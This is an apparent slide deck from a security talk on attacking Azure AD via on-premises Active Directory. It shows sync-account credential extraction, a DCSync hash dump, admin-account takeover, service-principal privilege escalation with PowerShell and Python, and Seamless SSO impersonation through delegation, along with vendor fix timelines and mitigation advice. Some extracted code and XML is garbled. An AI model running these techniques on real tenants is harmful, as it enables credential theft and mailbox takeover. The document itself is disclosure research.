I’m in your cloud... reading everyone’s email

Hacking Azure AD via Active Directory

Dirk-Jan Mollema (@_dirkjan)
Whoami

- Lives in The Netherlands
- Hacker / Red Teamer / Researcher @ Fox-IT since 2016
- Previously freelance webdeveloper
- Author of several Active Directory tools
  - Mitm6
  - Ldapdomaindump
  - BloodHound.py
  - aclpwn.py
  - Co-author of ntlmrelayx
- Blogs on dirkjanm.io
  - PrivExchange
- Tweets stuff on @_dirkjan
Contents

• What is Azure AD
• Integrating Azure AD with Active Directory
• Azure AD Administrator roles
• Pwning the cloud
• Privilege escalation in Azure AD
• Abusing Seamless Single Sign On
Also:

- Me writing PowerShell
- Me writing C#
How it all started

- Pentest goal: Access CEO mailbox
- Stored in Office 365
- MFA enforced for most accounts
- CEO workstation unreachable
Research approach

On-premise

Active Directory

Cloud

Azure Active Directory
Assumption: security boundary

On-premise

Active Directory

Security boundary

Cloud

Azure Active Directory
Security boundary information flow

On-premise

Active Directory

Flow of trusted information

Security boundary

Cloud

Azure Active Directory
Azure AD

• “Azure Active Directory (Azure AD) is Microsoft’s cloud-based identity and access management service.”
## Azure AD vs Active Directory

<table>
<thead>
<tr>
<th>(Windows Server) Active Directory</th>
<th>Azure Active Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>LDAP</td>
<td>REST API's</td>
</tr>
<tr>
<td>NTLM/Kerberos</td>
<td>OAuth/SAML/OpenID/etc</td>
</tr>
<tr>
<td>Structured directory (OU tree)</td>
<td>Flat structure</td>
</tr>
<tr>
<td>GPO's</td>
<td>No GPO's</td>
</tr>
<tr>
<td>Super fine-tuned access controls</td>
<td>Predefined roles</td>
</tr>
<tr>
<td>Domain/forest</td>
<td>Tenant</td>
</tr>
<tr>
<td>Trusts</td>
<td>Guests</td>
</tr>
</tbody>
</table>
Integrating Azure AD and Active Directory

- 3 primary methods of integration:
  - Password Hash Synchronization (PHS)
  - Pass Through Authentication (PTA)
  - Active Directory Federation Services (AD FS)
Password hash synchronization

Source: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
Azure AD connect

• Utility installed on-premise
• Has a high-privilege account in AD
• Has also a high-privilege account in Azure AD
• High value target!
TL;DR

- If password hash sync is in use:

  Compromised Azure AD connect Sync account
  =
  Compromised AD
Finding the Sync server and account

PS C:\Users\baasbob> Get-ADUser -LDAPFilter "(samAccountName=MSOL_*)" -properties name,description | select name,description

name: MSOL_206b1a1ede1f
description: Account created by Microsoft Azure Active Directory Connect with installation identifier 206b1a1ede1f490e9c5caa0debc0523a running on computer o365-app-server configured to synchronize to tenant frozenliquids.onmicrosoft.com. This account must have directory replication permissions in the local Active Directory and write permission on certain attributes to enable Hybrid Deployment.
Hunting for creds in AD Sync

• Configuration database ADSync.mdf
  C:\Program Files\Microsoft Azure AD Sync\Data

• Can be accessed as LocalDB on host or copied and browsed locally
Extracting the configuration

```
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;
```
Agent configuration

```xml
<adma-configuration>
  <forest-name>office.local</forest-name>
  <forest-port>0</forest-port>
  <forest-guid>{00000000-0000-0000-0000-000000000000}</forest-guid>
  <forest-login-user>MSOL_206b1a0ed1f</forest-login-user>
  <forest-login-domain>office.local</forest-login-domain>
  <sign-and-seal>1</sign-and-seal>
  <ssl-bind crl-checks=0</ssl-bind>
  <simple-bind>0</simple-bind>
  <default-ssl-strength>0</default-ssl-strength>
  <default-ssl-strength>
    <parameter name="forest-login-domain" type="string" use="connectivity" data-type="String">
      office.local
    </parameter>
    <parameter name="forest-login-user" type="string" use="connectivity" data-type="String">
      MSOL_206b1a0ed1f
    </parameter>
    <parameter name="password" type="encrypted-string" use="connectivity" data-type="String">
      encrypted-1"/>
    </parameter>
    <parameter name="crl-check" type="string" use="connectivity" data-type="String">
      0</crl-check>
    </parameter>
    <parameter name="ssl-bind" type="string" use="connectivity" data-type="String">
      0</ssl-bind>
    </parameter>
    <parameter name="simple-bind" type="string" use="connectivity" data-type="String">
      0</simple-bind>
    </parameter>
    <parameter name="Connector.FilteringGroupDN" type="string" use="global" data-type="String">
      "global"
    </parameter>
    <parameter name="ADS_UP_ACCOUNTDISABLE" type="string" use="global" data-type="String">
      "global"
    </parameter>
    <parameter name="ADS_GROUP_TYPE_GLOBAL_GROUP" type="string" use="global" data-type="String">
      "global"
    </parameter>
    <parameter name="ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP" type="string" use="global" data-type="String">
      "global"
    </parameter>
    <parameter name="ADS_GROUP_TYPE_LOCAL_GROUP" type="string" use="global" data-type="String">
      "global"
    </parameter>
    <parameter name="ADS_GROUP_TYPE_UNIVERSAL_GROUP" type="string" use="global" data-type="String">
      "global"
    </parameter>
    <parameter name="ADS_GROUP_TYPE_SECURITY_ENABLED" type="string" use="global" data-type="String">
      "global"
    </parameter>
    <parameter name="Forest.FQDN" type="string" use="global" data-type="String">
      "global"
    </parameter>
    <parameter name="Forest.Netbios" type="string" use="global" data-type="String">
      "global"
    </parameter>
  </default-ssl-strength>
  
  <password-hash-sync-config>
    <enabled>1</enabled>
    <target>{8801884F-05E1-4A83-95AF-2544101C9683}</target>
  </password-hash-sync-config>
</adma-configuration>
```
Encrypted configuration

• Crypto stuff is in mcrypt.dll

• Mcrypt.dll contains both C# and native code
  • C# easy to analyze using dnSpy
  • Native code contains the crypto functions
SELECT instance_id, keyset_id, entropy FROM mms_server_configuration;
Create limited POC – analyze with procmon

static void Main(string[] args)
{
    KeyManager keyManager = new KeyManager();
    Guid instance_id = new Guid("1BBD4DD8-09F6-4BDB-B5F8-19EA09796B35");
    Guid entropy = new Guid("64C15727-CC41-458F-97E9-6D701F2A99B4");
    keyManager.LoadKeySet(entropy, instance_id, 1);
}
Local test VS server test

- Locally: error
- On server: works
- Even with same data in registry

- Suggests: Machine dependent protection → DPAPI
DPAPI

• Simple API to use: 1 line of code to securely encrypt data
• Uses certificates per user or computer
• Monitor calls to Crypt32.dll
Tracking DPAPI with API Monitor

Parameters: CryptUnprotectData (Crypt32.dll)

<table>
<thead>
<tr>
<th>Type</th>
<th>Name</th>
<th>Pre-Call Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>DATA_BLOB*</td>
<td>pDataIn</td>
<td>0x00000044675fed70</td>
</tr>
<tr>
<td>DATA_BLOB*</td>
<td>cbData</td>
<td>514</td>
</tr>
<tr>
<td>DWORD</td>
<td>cbData</td>
<td>514</td>
</tr>
<tr>
<td>BYTE*</td>
<td>pbData</td>
<td>0x0000001874ac50950</td>
</tr>
<tr>
<td>LPWSTR*</td>
<td>ppszDataDescr</td>
<td>NULL</td>
</tr>
<tr>
<td>DATA_BLOB*</td>
<td>pOptionalEntropy</td>
<td>0x00000044675fed60</td>
</tr>
<tr>
<td>PVOID</td>
<td>pvReserved</td>
<td>NULL</td>
</tr>
<tr>
<td>DWORD</td>
<td>dwFlags</td>
<td>CRYPTPROTECT_LOCAL_MACHINE</td>
</tr>
<tr>
<td>DATA_BLOB*</td>
<td>pDataOut</td>
<td>0x00000044675fed50</td>
</tr>
<tr>
<td>DATA_BLOB*</td>
<td>pDataOut</td>
<td>0x00000044675fed50</td>
</tr>
</tbody>
</table>

Process Monitor - Sysinternals: www.sysinternals.com

Time: 14:25
Operation: RegQueryValue
Path: HKLM\SOFTWARE\Microsoft\Ad Sync\Shared\1\(Default)
Result: BUFFER OVERFLOW
Detail: Length: 144

Length: 514, Data: 01 00 00 00 D0 8C 9D 00
More crypto stuff

```
MMSK...........M
.....K........yK5
...............
.....x...........
```

<table>
<thead>
<tr>
<th>DLL File</th>
<th>Function</th>
<th>Parameters</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>mmsutils.dll</td>
<td><code>CryptImportKey</code></td>
<td><code>0x00000029a6b280fb0, 0x00000029a6eb60bdc, 44, NULL, 0..</code></td>
<td>TRUE</td>
</tr>
<tr>
<td>rsaenh.dll</td>
<td><code>BCryptOpenAlgorithmProvider</code></td>
<td><code>0x0000000e4e29fe69, &quot;AES&quot;, NULL, 0</code></td>
<td>STATUS_SUCCESS</td>
</tr>
<tr>
<td>mmsutils.dll</td>
<td><code>BCryptGenerateSymmetricKey</code></td>
<td><code>0x00000029a6b282ab0, 0x0000000e4e29fe69</code></td>
<td>STATUS_SUCCESS</td>
</tr>
<tr>
<td>mmsutils.dll</td>
<td><code>CryptGetKeyParam</code></td>
<td><code>0x00000029a6b26c860, KP_BLOCKLEN, 0x0000000e4e29fe69</code></td>
<td>TRUE</td>
</tr>
<tr>
<td>mmsutils.dll</td>
<td><code>CryptSetKeyParam</code></td>
<td><code>0x00000029a6b26c860, KP_MODE, 0x0000000e4e29fe08, 0</code></td>
<td>TRUE</td>
</tr>
<tr>
<td>rsaenh.dll</td>
<td><code>BCryptSetProperty</code></td>
<td><code>0x00000029a6b283140, &quot;ChainingMode&quot;, 0x000007ff...</code></td>
<td>STATUS_SUCCESS</td>
</tr>
<tr>
<td>mmsutils.dll</td>
<td><code>CryptContextAddRef</code></td>
<td><code>0x00000029a6b280fb0, NULL, 0</code></td>
<td>TRUE</td>
</tr>
<tr>
<td>mmsutils.dll</td>
<td><code>CryptSetKeyParam</code></td>
<td><code>0x00000029a6b26c860, KP_IV, 0x00000029a6eb60d28, 0</code></td>
<td>TRUE</td>
</tr>
<tr>
<td>rsaenh.dll</td>
<td><code>BCryptSetProperty</code></td>
<td><code>0x00000029a6b283140, &quot;IV&quot;, 0x00000029a6b28214, 16</code></td>
<td>STATUS_SUCCESS</td>
</tr>
<tr>
<td>mmsutils.dll</td>
<td><code>CryptDecrypt</code></td>
<td><code>0x00000029a6b26c860, NULL, FALSE, 0, 0x0000029a6eb60fe0, 0</code></td>
<td>TRUE</td>
</tr>
<tr>
<td>rsaenh.dll</td>
<td><code>BCryptDestroyKey</code></td>
<td><code>0x00000029a6b283140</code></td>
<td>STATUS_SUCCESS</td>
</tr>
</tbody>
</table>
Crypto TL;DR

- Encryption key is encrypted with DPAPI
- Decrypted version contains some blob with AES keys
- Uses AES-256 in CBC mode
Info needed to decrypt variables

- Adsync database
  - Encrypted data
  - Entropy
  - Instance ID
  - Keyset ID

- Registry
  - Encryption Key (DPAPI protected)
  - DPAPI machine secrets
Dumping the info - demo
Get the database

Dump DPAPI enc. Keys (registry)

Dump AD Sync enc. keys (registry)

Get DPAPI masterkey

Decrypt all the stuff

Credit: @agsolino for his work on impacket and secretsdump
DCSync with AD Sync account

```
user@localhost:~/.azureads$ secretsdump.py OFFICE/MSOL_206b1a1edelf@40.115.8.221 -just--dc
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
baasbob:500:aad3b435b51404eead3b435b51404ee:8777f974e0c474dbc6d6ab839d989172::
Guest:501:aad3b435b51404eead3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
krbtgt:502:aad3b435b51404eead3b435b51404ee:43930fb75458938684b27f8e95091a49::
DefaultAccount:503:aad3b435b51404eead3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
MSOL_206b1a1edelf:1104:aad3b435b51404eead3b435b51404ee:f58ec9aa0a1d50078c4e052f7ff015a0::
office.local\testoverride:1106:aad3b435b51404eead3b435b51404ee:0aad3e6a4d627a4d6afe24df580cb2e8::
office.local\vince:2601:aad3b435b51404eead3b435b51404ee:0aad3e6a4d627a4d6afe24df580cb2e8::
office.local\testuser:2603:aad3b435b51404eead3b435b51404ee:0aad3e6a4d627a4d6afe24df580cb2e8::
office.local\attacker:3601:aad3b435b51404eead3b435b51404ee:0aad3e6a4d627a4d6afe24df580cb2e8::
office.local\secure:3602:aad3b435b51404eead3b435b51404ee:0aad3e6a4d627a4d6afe24df580cb2e8::
office.local\admin\vince:3603:aad3b435b51404eead3b435b51404ee:0aad3e6a4d627a4d6afe24df580cb2e8::
office.local\helpdesk:6101:aad3b435b51404eead3b435b51404ee:0aad3e6a4d627a4d6afe24df580cb2e8::
```
Recommendation

Active Directory administrative tier model:
Azure AD – Roles and access
Azure AD roles

- RBAC Roles are only used for Azure Resource Manager
- Office 365 uses administrator roles exclusively
Interacting with Azure AD

- MSOnline PowerShell module
  - Focusses on Office 365
  - Some Office 365 specific features

- AzureAD PowerShell module
  - General Azure AD
  - Different feature set
Module differences

```
PS C:\windows\system32> Get-AzureADDirectoryRole

ObjectId DisplayName Description
------- ----------- ------------------
21f99461-a0cd-45f8-a4e7-f448d2cb3d06 User Account Administrator Can manage all aspects of an Azure AD user account.

643d25c7-afb4-485f-8efb-ebb835b26ce3d Company Administrator Can manage all aspects of a company

b66b2ec9-caa9-4fc3-9261-7fb8816295f9 Directory Synchronization Accounts Only used by Azure Synchronization

c45626af-3af9-4267-95e2-d135676798fc Application Administrator Can create and manage applications

e81196d3-6a4d-4009-b397-ac1a70c93b10 Directory Readers Can read basic directory information.

PS C:\windows\system32> Get-MsolRole

ObjectId Name Description
------- ----- ------------------
729827e3-9c14-49f7-bb1b-9608f156bb8 Helpdesk Administrator Can reset passwords

f823d81-a637-4b56-95fd-791ac0226033 Service Support Administrator Can read service history

b8f54661-2d74-4c50-afa3-1ec803f12efe Billing Administrator Can perform billing

4ba39ca4-52c7-499a-b93d-d9b42c50246 Partner Tier1 Support Do not use - not in use

5e0e864a-17c5-4a4b-9c06-f5b95a3d5b8 Partner Tier2 Support Do not use - not in use

88d8e3e3-8f55-4a1e-953a-9b08988876b Directory Readers Can manage all aspects

29232cfd-9323-42fd-ad02-d9079af3e4de Exchange Service Administrator Can manage all aspects

75941009-915a-4869-abe7-691bff18279e Lync Service Administrator Can manage all aspects

fe930be7-5e62-47db-91af-98c3a49a38b1 User Account Administrator Can manage all aspects

91606eb5-f418-4bba-8175-e2a080bac43b3 Directory Writers Can read and write

82e90394-69f5-4237-9196-012177145e10 Company Administrator Can manage all aspects

f28a1f58-f6e7-4571-818b-6a12f2a6f6bc SharePoint Service Administrator Can manage all aspects

```

Classification: Public
Hunting for admins

- Company Administrator = Global Administrator
- Anyone can query role members
Cloud-only or synced

• Most likely not all admins are synced with on-premise

• Can be queried by any Azure AD user

• If we are Domain Admin, can we sync an on-premise account?
Can we sync existing users?

How to use SMTP matching to match on-premises user accounts to Office 365 user accounts for directory synchronization

Applies to: Office 365 Identity Management, Exchange Online

INTRODUCTION

In some scenarios, you may have to transfer the source of authority for a user account when that account was originally authored by using Office 365 management tools. These tools include the Office 365 portal, Microsoft Azure Active Directory Module for Windows PowerShell, and so on. You can transfer the source of authority so that the account can be managed through an on-premises Active Directory Domain Services (AD DS) user account by using directory synchronization.
Finding potential targets

- Needs to have a proxy address (means the account has a mailbox)
- License not required
- Should not already be synced
<table>
<thead>
<tr>
<th>Display name</th>
<th>Username</th>
<th>Status</th>
<th>Sync Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>admintest</td>
<td><a href="mailto:admintest@frozenliquids.onmicrosoft.com">admintest@frozenliquids.onmicrosoft.com</a></td>
<td>Office 365 Enterprise E3</td>
<td>In cloud</td>
</tr>
<tr>
<td>adminvince</td>
<td><a href="mailto:adminvince@frozenliquids.onmicrosoft.com">adminvince@frozenliquids.onmicrosoft.com</a></td>
<td>Unlicensed</td>
<td>Synced with ...</td>
</tr>
<tr>
<td>attacker</td>
<td><a href="mailto:attacker@frozenliquids.onmicrosoft.com">attacker@frozenliquids.onmicrosoft.com</a></td>
<td>Unlicensed</td>
<td>Synced with ...</td>
</tr>
<tr>
<td>Bob MSOBB</td>
<td><a href="mailto:bob@frozenliquids.onmicrosoft.com">bob@frozenliquids.onmicrosoft.com</a></td>
<td>Office 365 Enterprise E3</td>
<td>In cloud</td>
</tr>
</tbody>
</table>
Creating a sync target

Multi-valued String Editor

Attribute: proxyAddresses

Value to add: SMTP:admin@frozenliquids.onmicrosoft.com

Values:

SMTP:admin@frozenliquids.onmicrosoft.com
<table>
<thead>
<tr>
<th>Display name</th>
<th>Username</th>
<th>Status</th>
<th>Sync Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>admintest</td>
<td><a href="mailto:admintest@frozenliquids.onmicrosoft.com">admintest@frozenliquids.onmicrosoft.com</a></td>
<td>Office 365 Enterprise E3</td>
<td>Synced with ...</td>
</tr>
<tr>
<td>adminvince</td>
<td><a href="mailto:adminvince@frozenliquids.onmicrosoft.com">adminvince@frozenliquids.onmicrosoft.com</a></td>
<td>Unlicensed</td>
<td>Synced with ...</td>
</tr>
<tr>
<td>attacker</td>
<td><a href="mailto:attacker@frozenliquids.onmicrosoft.com">attacker@frozenliquids.onmicrosoft.com</a></td>
<td>Unlicensed</td>
<td>Synced with ...</td>
</tr>
<tr>
<td>Bob MSOBB</td>
<td><a href="mailto:bob@frozenliquids.onmicrosoft.com">bob@frozenliquids.onmicrosoft.com</a></td>
<td>Office 365 Enterprise E3</td>
<td>In cloud</td>
</tr>
</tbody>
</table>
Delegate permissions for the inbox

Microsoft 365 admin center

Home > Active users

Add a user  More  

Display name

Add permissions

CEO
ceo@frozenliquids.onmicrosoft.com

Edit read and manage permission

Search by display name or email address

Read and manage (1)

AD admintest  admintest@frozenliquids.on...
So about that assignment

- We created a new account
- Linked it to an existing admin
- Delegated ourselves mailbox permissions
- Flag achieved 😊
I sync we have a problem

• Domain Admin is not required to create new users

• Often delegated to (junior) IT admins

• “Create user” privileges sufficient to take over admin accounts

• Multi Factor Authentication not bypassed
  • Make sure all admin accounts have MFA enforced!

• Prime target: emergency admin accounts not requiring MFA
  (recommendation from Microsoft until a few months ago)
Don’t worry it’s fixed

• Reported to MSRC in June 2018
• Fixed mid October 2018
• Account sync not possible anymore for admin accounts
Still

• MFA all the things!

• If you can’t, enable monitoring (license required)
Role privileges and escalation
Azure AD admin roles

• Global/Company administrator can do anything

• Limited administrator accounts
  • Application Administrator
  • Authentication Administrator
  • Exchange Administrator
  • Etc

• Roles are fixed

Source: https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles
Application Administrators

• “create and manage all aspects of enterprise applications, application registrations, and application proxy settings”

• What is an application?
Everything is an application

• Examples:
  • Microsoft Graph
  • Azure Multi-Factor Auth Client
  • Azure Portal
  • Office 365 portal
  • Azure ATP

• A default Office 365 Azure AD has about 200 service principals (read: applications)
Service principals VS applications

- Applications/App registrations are applications that exist in your Azure AD

- Service principals/Enterprise Applications are accounts in your Azure AD linked to either your application or a third party application.
Application privileges

- Two types of privileges:
  - Delegated permissions
    - Require signed-in user present to perform
  - Application permissions
    - Are assigned to the application, which can use them at any time

- These privileges are assigned to the service principal
- Admin approval may be needed
Example: Application permissions
Service principal permissions

Permissions

Applications can be granted permissions to your directory by an admin consenting to the admin integrating an application and enabling self-service access or assigning users directory permissions.

As an administrator you can grant consent on behalf of all users in this directory, ensuring they are granted the correct permissions.

**Grant admin consent for MSOBB**

<table>
<thead>
<tr>
<th>API NAME</th>
<th>PERMISSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows Azure Active Directory</td>
<td>Read and write directory data</td>
</tr>
</tbody>
</table>
Problem 1

• By default, any user in Azure AD can create:
  • New applications
  • Service principals for these applications

• That user will be the owner of the applications

• Bob registers an application

• Admin grants consent to the application to access data

• Bob now has access to that data
Example: Add certificate to service principal

- Step 1: Add certificate as credential to our application

```powershell
PS C:\Users\Dirkjan> $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
PS C:\Users\Dirkjan> $myapp = Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'"
PS C:\Users\Dirkjan> New-AzureADServicePrincipalKeyCredential -ObjectId $myapp.ObjectID -CustomKeyIdentifier "Test123" -StartDate currentDate -EndDate $endDate -Type AsymmetricX509Cert -Usage Verify -Value $keyValue
```

CustomKeyIdentifier : {84, 101, 115, 116...}
EndDate : 13-3-2020 20:57:08
KeyId : ab153bb1-2ba6-4d2b-afdf-2d6466b02e7f
StartDate : 13-3-2019 20:57:08
Type : AsymmetricX509Cert
Usage : Verify
Value : {77, 73, 73, 68...}
Example (2)

• Step 2: Connect as service principal

```
PS C:\Users\Dirkjan> $tenant = Get-AzureADTenantDetail
PS C:\Users\Dirkjan> Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $myapp.AppId -CertificateThumbprint $thumb

Account          Environment TenantId          TenantDomain AccountType
----------------- ------------- -------------- ------------------ 
503b1bc2-d75e-4c86-a971-9f9ed51c99c3 AzureCloud c51b012-9aa0-4fa6-b77f-7beed527ae38 frozenliquids.onmicrosoft.com ServicePrin...
```
With user context

```
PS C:\Users\Dirkjan> $group = Get-AzureADGroup -SearchString test
PS C:\Users\Dirkjan> $user = Get-AzureADUser -SearchString user
PS C:\Users\Dirkjan> Add-AzureADGroupMember -ObjectId $group.ObjectId -RefObjectId $user.ObjectId
Add-AzureADGroupMember : Error occurred while executing AddGroupMember
Code: Authorization_RequestDenied
Message: Insufficient privileges to complete the operation.
RequestID: 3278c57b-2f07-42a6-af6d-c77a3d00233f
HttpStatusCode: Forbidden
HttpStatusDescription: Forbidden
```
With application context

```
PS C:\Users\Dirkjan> $group = Get-AzureADGroup -SearchString test
PS C:\Users\Dirkjan> $user = Get-AzureADUser -SearchString user
PS C:\Users\Dirkjan> Add-AzureADGroupMember -ObjectID $group.ObjectId -RefObjectID $user.ObjectId
PS C:\Users\Dirkjan> Get-AzureADGroupMember -ObjectID $group.objectId

<table>
<thead>
<tr>
<th>ObjectId</th>
<th>DisplayName</th>
<th>UserPrincipalName</th>
<th>UserType</th>
</tr>
</thead>
<tbody>
<tr>
<td>392d637b-3cde-4045-98ba-62abd9ba1e40</td>
<td>user</td>
<td><a href="mailto:user@bbqmeatlovers.com">user@bbqmeatlovers.com</a></td>
<td>Member</td>
</tr>
</tbody>
</table>
```
Logging?

- Log shows actions were performed by application

<table>
<thead>
<tr>
<th>DATE</th>
<th>SERVICE</th>
<th>CATEGORY</th>
<th>ACTIVITY</th>
<th>STATUS</th>
<th>TARGET(S)</th>
<th>INITIATED BY (ACTOR)</th>
</tr>
</thead>
<tbody>
<tr>
<td>3/13/2019, 9:53:56 PM</td>
<td>Core Directory</td>
<td>GroupManagement</td>
<td>Add member to group</td>
<td>Success</td>
<td><a href="mailto:user@bbqmeatlovers.co">user@bbqmeatlovers.co</a>...</td>
<td>testapp</td>
</tr>
<tr>
<td>3/13/2019, 9:53:40 PM</td>
<td>Core Directory</td>
<td>GroupManagement</td>
<td>Remove member from gr...</td>
<td>Success</td>
<td><a href="mailto:user@bbqmeatlovers.co">user@bbqmeatlovers.co</a>...</td>
<td>testapp</td>
</tr>
<tr>
<td>3/13/2019, 9:30:04 PM</td>
<td>Core Directory</td>
<td>GroupManagement</td>
<td>Add member to group</td>
<td>Success</td>
<td><a href="mailto:user@bbqmeatlovers.co">user@bbqmeatlovers.co</a>...</td>
<td>testapp</td>
</tr>
</tbody>
</table>
Problem 2

- “Application administrators” can manage all applications and service principals
- Two (default) service principals have “Directory.ReadWrite.All”
- By adding a credential to an application, the Application Administrator escalates their privileges
Previously

```powershell
PS C:\Users\Dirkjan> $sp = Get-AzureADServicePrincipal -searchstring "Microsoft Graph"
PS C:\Users\Dirkjan> $sp.ObjectId
48456716-a327-4395-922a-9362a4c9a25b
PS C:\Users\Dirkjan> New-AzureADServicePrincipalPasswordCredential -objectid $sp.ObjectId -password $sp_password

CustomKeyId : 
EndDate : 31-12-2099 12:00:00
KeyId : 
StartDate : 6-8-2018 13:37:00
Value : thisisanewpassword2
```
import requests
import json

CLIENT_ID = '00000003-0000-0000-c000-000000000000'
CLIENT_SECRET = 'thisisanewpassword2'

AUTHORITY_URL = 'https://login.microsoftonline.com/bobswrenches.onmicrosoft.com'
TOKEN_ENDPOINT = '/oauth2/v2.0/token'

data = {'client_id':CLIENT_ID,
        'scope': 'https://graph.microsoft.com/.default',
        'client_secret':CLIENT_SECRET,
        'grant_type': 'client_credentials'}

r = requests.post(AUTHORITY_URL + TOKEN_ENDPOINT, data=data)
data2 = r.json()

hdr = {'Authorization': 'Bearer %s % data2['access_token']}

bodydata = {'@data.id': 'https://graph.microsoft.com/v1.0/users/2730f622-db95-4b40-9be7-6d72b6c1dad4'}

r = requests.post('https://graph.microsoft.com/beta/bobswrenches.onmicrosoft.com/
groups/3cf7196f-9d57-48ee-8912-dbf50803a4d8/members/$ref', headers=hdr, json=bodydata)

print r.status_code
print r.content
Fix timeline

- Reported to MSRC in August 2018
- Confirmed fixed in December
- Current behaviour:
Behaviour is now documented

The following administrator roles are available:

- **Application Administrator**: Users in this role can create and manage all aspects of enterprise applications, application registrations, and application proxy settings. This role also grants the ability to consent to delegated permissions, and application permissions excluding Microsoft Graph and Azure AD Graph. Users assigned to this role are not added as owners when creating new application registrations or enterprise applications.

**Important**: This role grants the ability to manage application credentials. Users assigned this role can add credentials to an application, and use those credentials to impersonate the application’s identity. If the application’s identity has been granted access to Azure Active Directory, such as the ability to create or update User or other objects, then a user assigned to this role could perform those actions while impersonating the application. This ability to impersonate the application’s identity **may be an elevation of privilege** over what the user can do via their role assignments in Azure AD. It is important to understand that assigning a user to the Application Administrator role gives them the ability to **impersonate an application’s identity**.
Remaining risks

- Global Admins can still assign privileges to applications
- Possibility for backdooring accounts
- Service Principal accounts do not require MFA
- Credentials assigned to Microsoft apps are not visible in the Azure Portal
- Custom applications with high privileges still at risk
Azure Resource manager also affected

Azure AD

Azure RBAC roles

Azure AD administrator roles

Office 365
Azure RBAC

- RBAC roles can be assigned to service principals
- These can be managed by Application Administrators
- Also by the on-premise sync account
- High privilege applications might need an account
  - Example: Terraform
Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges.
Seamless Single Sign On

aka: let’s port all of Kerberos’ weaknesses to Azure
SSO Flow (simplified)

1. Log in request
   Azure Active Directory

2. Request Service Ticket for AAD
   Active Directory
SSO Flow 2 (simplified)

3. Reply with service ticket

4. Log in with service ticket

Azure Active Directory

Active Directory
Technical things

- Active Directory stores a computer account: AZUREADSSOACC$
- Password is shared with Azure AD
- Service ticket is encrypted with this password, contains user SID
- Azure AD decrypts ticket, looks up user by SID in Azure AD
- Logged in
Compromised Active Directory

• If Active Directory is compromised, attackers can dump hashes and create fake Service Tickets

• Called Silver Tickets

• Can be used to log in as any user in Azure AD (if no MFA)

• Well-known Kerberos risk

What about delegation

• Kerberos has the concept of “delegation”

• Delegation means trusting applications to impersonate other users

• If configured incorrectly, applications can impersonate any user

• 3 forms of delegation:
  • Unconstrained: very dangerous, avoid using
  • Constrained: has to be specifically configured, unlikely attack vector for Azure AD
  • Resource based constrained: Recently being researched
Resource based constrained delegation

- Delegation is configured on the target object
- The AZUREADSSOACC$ account is a computer account
- No special protections
- Anyone that can manage computer accounts in the container or OU this account is in can configure it
- Likely many admins in larger orgs have this access

Credits: @elad_shamir, @harmj0y and @gentilkiwi for their research on this topic
Demo

```
user@localhost:/azuread$ python rbdel.py -u office\helpdesk -p Welkom01 40.115.8.221 azureadssoacc$
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Object found: CN=AZUREADSSOACC,CN=Computers,DC=office,DC=local
Currently allowed sids:
[+] Object modified successfully
user@localhost:/azuread$ python rbdel.py -u office\helpdesk -p Welkom01 -q 40.115.8.221 azureadssoacc$
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Object found: CN=AZUREADSSOACC,CN=Computers,DC=office,DC=local
Currently allowed sids:
S-1-5-21-22320149-2113018802-4077139283-6101
```
Getting a ticket for Vince

```bash
user@localhost:--> getST.py office/helpdesk@office.local -dc-ip 52.178.64.184 -impersonate vince -spn http/autologon.microsoftazuread-sso.com
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation
Password:
[*] Getting TGT for user
[*] Impersonating vince
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in vince.ccace
```
Log in on Azure
GET /frozenliquids.onmicrosoft.com/winauth/sso?desktopsso=true&isAdalRequest=False&client-request-id=dddb039d-1e4e-4960-b6bb-e4eda2962b936=1552566401515 HTTP/1.1
Host: autologon.microsoftazuread-sso.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/plain, */*
q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://autologon.microsoftazuread-sso.com/frozenliquids.onmicrosoft.com/winauth/sso?desktopsso=true&isAdalRequest=False&client-request-id=dddb039d-1e4e-4960-b6bb-e4eda2962b936=1
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: fpc=ApwWVOCQc1I1hjqE__eRTB7LT7RGAQAAAGSN0QAAAAA; esctx=AA8ABAAAAACEfexXxjamQb30eGQ44ugWPJt6rAPctojRYek8b7e8LH75djuy4amq6uhflfV-J0EpGacqMMXWOJW_yw08tZUn3BvoGhmLjL; AQnq3P_iqbdL6STUWjJfye0aDcOkx1q41Ab-T7RC0GBH4sfPwJfugT0Ri4qeMBUOYaoYzm0rUjnPd-mqPSoXizscLyVOyqAA; X-ms-gateway-slice=prod; stsservicecookie=sts
Authorization: Negotiate YIHSbYrBqEFBOBqgCwgcScjAIByrBqEFAgWibUeBg1gga8GElisGAQCBQUBMAQghCAQGbZ2maNNlAcGWM1GTo0MCAQWiAvIBqMOMAwwCqEESqI A1aC84ckdzB1oa4dBcBQAAAAOqF1wEKADAgEBoqwKwBrLyiY21WIc9sGbZ2maNNloXswsGAADgECCRIwEBsGa3fiGdO6wZWvZmZpY2WtERgP4jAxOT AzMTUyMDQ2NDAPwpYCByHL/z2oFDASAgESxgEFAgEQxgEQAgEXAgEAgEa
<table>
<thead>
<tr>
<th>No.</th>
<th>Request Method</th>
<th>URL</th>
<th>Original Request Path</th>
